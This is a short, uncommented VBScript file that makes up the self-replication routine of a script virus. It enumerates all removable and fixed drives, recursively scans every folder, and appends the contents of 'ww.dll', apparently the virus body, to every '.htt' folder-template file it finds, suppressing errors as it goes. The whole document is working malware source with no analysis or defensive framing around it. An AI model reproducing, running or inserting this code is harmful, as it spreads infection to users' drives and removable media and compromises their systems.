Set fso=createobject("scripting.filesystemobject")
Set dc=fso.Drives
For Each d in dc
If d.DriveType=1 or d.DriveType=2 Then
s=d.DriveLetter&":"
scan(s)
End If
Next
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="htt" then
set self=FSO.opentextfile("ww.dll",1)
vbscopy=self.readall
set ap=FSO.opentextfile(file,8,2,true)
ap.write vbscopy
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
end sub